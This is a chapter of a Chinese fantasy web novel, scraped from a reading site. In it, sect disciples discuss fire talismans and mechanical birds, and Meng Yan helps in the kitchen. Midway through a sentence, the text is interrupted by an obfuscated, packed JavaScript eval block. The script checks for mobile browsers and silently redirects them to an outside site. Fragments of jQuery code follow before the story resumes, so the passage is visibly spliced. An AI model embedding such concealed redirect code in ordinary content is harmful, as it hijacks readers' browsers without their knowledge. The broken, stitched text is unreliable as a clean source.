默认冷灰
24号文字
方正启体

35. 抢饭碗不行

作者:寺闲啾本书字数:K更新时间:
    “符纸呢?怎么都不见了?”


    李礼顶着昨日翻找来的腰酸背痛,一大清早敲开了越朗屋门,但见屋内整洁,空空如也。


    给他开了门的越朗只着一件中衣,掩上门时仍打着哈欠,头发在脑后逍遥散开,神智不知落在哪片被角,还未归身。


    “啊?什么符纸?晏姑娘又要符纸了吗?”


    他一步分成三步走,飘似的转到桌旁,拎起茶壶顿了半晌,终是微微侧手,任水从壶中流出,倒入杯中。


    接连饮下两杯冷茶,他才再度睁眼,“哦”了一声给李礼来了杯凉透的水,盯着他坐下,伸出根手指点了点空气。


    “你是说,晏姑娘要的那些能起火的符?”没等李礼回话,他便自行接了下去,“送走了都,用晏姑娘那只别致的小雀。”


    冷水激嗓,李礼差点给师弟洗了头,擦干唇角的水渍后,他在越朗眼前比了三根手指,“这是几?”


    “三啊。”越朗举着同样的手势回他。


    “那这呢?”李礼抬起两只手,在他眼前定住。


    越朗视线从李礼手上转到他脸上,默了好一会儿,试探道:“你醒着吗师兄?”


    李礼放下手没说话,面无表情看着他。


    “哦,醒着。符纸真的都送走了,你难道还信不过我吗?”


    此情此景,面前的人浑身上下都写着“不靠谱”三个大字,让李礼如何也信不过他这没根据的话。


    无奈之下,越朗只得掰着手指头,逐字逐句告诉他昨晚做了什么,具体到信中的内容,他都一字不落复述了个遍。


    “你就这么急?”


    “我没急呀,我这不是怕晏姑娘着急吗?”


    李礼端起茶盏呷了口水,心道,你若知晓此前我寄去的时间,怕是要把我丢去平安谷现场画符了。


    “说来,倒真没想过你和孟晏姑娘关系这般好,我当她是喜静之人,现在看来是我觉得错了。”


    “没错吧,她确实喜静,耳朵又灵光,在闹市里多搅得慌。”


    符纸温热下,壶里冷水传来咕嘟声,越朗提起茶壶,把两个空盏重新满上。


    “那还挺难得的。”李礼转着手中小盏,意有所指。


    越朗勾起唇角,将杯中热茶饮尽,托着下巴把玩起手中小盏,“那是,我们相当有缘,志同道合,心心相印,同生共死……”


    “停。”李礼抽走他手中空盏,满上烫水后递了回去,“喝吧,别渴着了。”


    “你想烫死师弟啊。”


    “我怕你做梦给自己美死了。”


    越朗:“……”


    不信便不信吧,反正晏姑娘知道自己说的都是真的。


    独自对着桌面高兴了好一会儿,手边被抵茶壶,李礼正从壶把往自己看来。


    “嗯?师兄还有不解?”越朗压下挂僵的嘴角,抬头问道。


    “有啊,不知当讲不当讲。”李礼把茶壶抽走,同他碰了杯,“你就不好奇那机关鸢是如何起飞的?”


    “你要是想学那两张符的画法,我现在就可以教你,喊声哥听听。”


    李礼看他一眼,把茶壶塞回了两人中间。


    “谁学你那放了七八百年没个用处的符,我就是新奇那大鸟上的机关,别说控制起飞了,单是那化大为小,就够我这普通人学半辈子。也不知以后能否有机会去拜个师,这可比画符难多了。”


    “得了吧你。”越朗绕过茶壶同他碰杯,一饮而尽后放下茶盏,“你在符纸上的造诣也非常人可及,偏生又爱那机巧造物,说出去也不怕遭人记恨。”


    “生活和追求嘛,你以为谁都像你一样这么和谐,两者恰好是同一件事。”


    越朗有片刻的怔愣。这确是现实,师门中,或因天赋或因生活,大家虽聚在一起修道,然而真正去钻研它的人却并不多,不可否认,这两者结合才容易出现圆满的发展,而在他身上,便是汇于一点,以致他看起来总是轻松许多。


    或许幼年的损伤,过早失去的一切,都悉数补于此处了吧。


    “某个人怕是同我一般好运,这人你也识得。”越朗回过神,用食指无聊地敲着盏壁。


    李礼想也不想张口答道:“孟晏姑娘吧。”


    “所以,你会把吃饭的家伙主动告诉旁人吗,这和直接抢了人家饭碗有什么区别?”


    “哟,在这儿等我呢。你可要记好你这句话咯,别回头把自己卖个干净!”


    .


    孟晏摩挲着手中的纸,看也不是,不看也不大好,几番犹豫下,还是掀开了折起的页。


    一目十行扫过越朗对大家的招呼、问候和吉祥话,在页尾,他终于记起尚未告知符纸的使用方法,艰难把几行字塞在边边角角,原本隽秀的字迹经他排列,有些说不出的滑稽。


    即便如此,他还不忘利用最后一片指甲大小的空白作了别。


    “那两张密密麻麻都载了些什么,不能是想反悔,和咱们一刀两断吧?”


    “换作是我,平白无故被人骗去几个月的符纸,我没登门拜访,已算是仁至义尽了。”


    后悔吗?某人似乎乐在其中,恨不得把今后百八十年的计划安排一起做了,多亏纸页太小,否则就不只是这两张短篇小论了。


    “晏师妹?对面话这么狠吗,都把你惊得缓不过来了。”


    孟晏折好手中的信放入袖中,捡着信里有用的东西讲了一遍,言罢,又着重比划了轻重符在此次运送中的显著作用,告知诸位师兄不可学习模仿,不然,她将不再负责机关雀的后续维修。


    “谁要是敢这么玩,我头个按着他打一顿,听到没有?”几个年长的师兄率先发话。


    应和声中,有师兄已经捏起了火符,循着孟晏的说法,两指夹紧,左一圈,上一圈,再往下一甩,火苗腾地自两指间燃起,火势虽不旺,但也灭不下去,紧挨着它的两根手指也并未感受到灼痛,甚至隐有凉意传来。


    左右甩开,火焰渐渐熄灭,许是燃烧时间不长的缘故,符纸和一开始没什么区别,灰烬都不曾留下。


    “厉害啊,我做梦都不敢这样想!”


    一群大汉就这么冲着符纸拥了过去,像是见到了稀世珍宝,孟晏和刚进门的师姐对视一眼,摇摇头,任他们闹腾去了。


    “不对吧,如果每次点燃火符都要这般来一遭,那百姓在家中不得天天作法,万一让孩子学了去,点着什么东西可怎么办?”


    热闹的人群忽然安静,大家不约而同回头去找孟晏,却发现院中早已没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424666|182512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了她的身影。


    “放心吧,这些火符和冰炉的那些用法一样,贴在炉里就能用,道士特意改过的,只有碰了咱们炉壁才会起火,怕的就是带来危险。”师姐从木堆里抬头答道,说话之际,她手里的动作仍没停下,“晏师妹还说,本来是不打算将火符自燃的方法告诉你们的,但又觉得你们会喜欢,只能先讲你们想听的,再把咱们实际要用的告知于我,等你们玩尽兴就该来问了。”


    师兄们或挠头或摸脸,嘿嘿笑道:“晏师妹真是料事如神。”


    见惯了他们这副傻样,师姐懒得再理,低下头继续着手里的忙碌。


    木料切割声在小院中回荡着,分外熟悉,引得众师兄倍感奇怪,“冰炉的制造早就停下,暖炉又还未开始,何况两者也用不着木头,师姐你锯那木料作甚?”


    “造鸟。”


    冷冷二字看似压下了全场的疑惑,实则激起更多。


    “机关雀之前不是造了挺多吗?晏师妹也说了,暖炉几乎卖不出去,造这老多鸟,咱们改养木雕了?”


    “或者实在要养,咱们也能养几只活的呀,墙上蹦跶的不都是,何必单相思在这木头身上。”


    师姐抽空睨他们一眼,对面立刻噤了声,个个眨巴着眼睛等她解惑。


    “要不你们去隔壁养公鸡也行。”师姐挥着锯子朝墙头指指,“把它们养得又大又肥,回头载着你们往各处飞。”


    听她一言,呆若木鸡的师兄们恍然大悟,原来是在为新的机关鸢做准备。


    不得不承认一点,机关鸢的设计和成功飞行改变了太多,让很多事情变得尤为简单,也把本身堪称异想的梦话带到了现实。


    它就像掷入枯井的一粒石子,却意外唤出了喷涌甘泉,将新的创造与生气送来谷中。


    现如今,这样的大鸟要开始第二只的孵育,以后还会迎来更多。


    遥不可及的远方也足以亲身去丈量。


    感慨万千后,师姐敲了敲手中的木块,把依然在神游的众人敲醒,怼着张图纸到他们面前,“醒醒吧,该养鸟了。”


    .


    错过了饭时,灶房不剩多少人,推开门挨个锅里望去,所剩不多,但香味极浓,争抢着钻入鼻中。


    “晏师姐今日怎来得这样晚?”


    三冷几位师兄已出谷去了,留下的多是些年轻师弟师妹,孟晏看他们略显生涩地扫锅去柴,把厨具挂回原位,一不小心还会蹭到手,皱起眉头吹出两口气,当没发生过似的收拾灶台上的狼藉。


    “尝尝剩饭,听说别有风味。”


    食由不得她挑,端起碗筷有什么盛什么,蹲在灶房外几口扒完,她又卷起袖子回了屋里。


    虽不常来灶房内帮忙,她的手却不生,转锅倾水绕炊帚,比师弟师妹们都要熟练流畅。


    一些不容易处理的细节,她会慢慢比划着来,教到大家若有所悟地点点头,再转身去找下一个要教的目标。


    对上后辈们的眼神,孟晏只浅浅一笑,“刚进谷时身无所长,顺手学了点皮毛,现都教于你们。饭菜要做得香,锅台定要亮堂,心绪放松些,手感自然就来了。”


    走出门,抬眼望着空中与数日前近乎无差的太阳,孟晏眯起眼睛,很快地想了下过去与来日。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)